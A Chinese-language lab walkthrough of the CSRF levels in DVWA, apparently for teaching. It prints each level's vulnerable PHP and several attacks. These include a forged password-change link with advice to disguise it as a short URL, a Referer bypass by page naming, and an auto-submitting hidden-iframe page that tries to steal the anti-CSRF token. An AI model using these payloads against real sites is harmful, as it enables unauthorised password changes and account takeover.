CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。
low服务端代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
思路：直接构造链接就可以：
http://.../dvwa/vulnerabilities/csrf/？password_new=PASSWORD&password_conf=PASSWORD&Change=Change#
不完美的话再去转成短地址就看不出来了。还可以在公网上传一个攻击页面，诱骗受害者去访问。
medium服务端代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
相关函数说明
int eregi(string pattern, string string)
检查string中是否含有pattern（不区分大小写），如果有返回True，反之False。
可以看到，Medium级别的代码检查了保留变量 HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名）。
因为是referer值包含主机名，所以可以将攻击页面名称改为"主机.html"。
High服务端代码：
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到，High级别的代码加入了Anti-CSRF token机制，用户每次访问改密页面时，服务器会返回一个随机的token，向服务器发起请求时，需要提交token参数，而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端的请求。
写个脚本，获取token。
<script type="text/javascript">
function attack()
{
document.write(document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value);
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://*.*.*.*/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display: none;"></iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://*.*.*.*/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
但是跨域请求卡住了，只能通过注入获取token再进行csrf。
impossible
服务端代码：
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码利用PDO技术防御SQL注入，并且要原始密码，攻击者在不知道原始密码的情况下，无论如何都无法进行CSRF。攻击。
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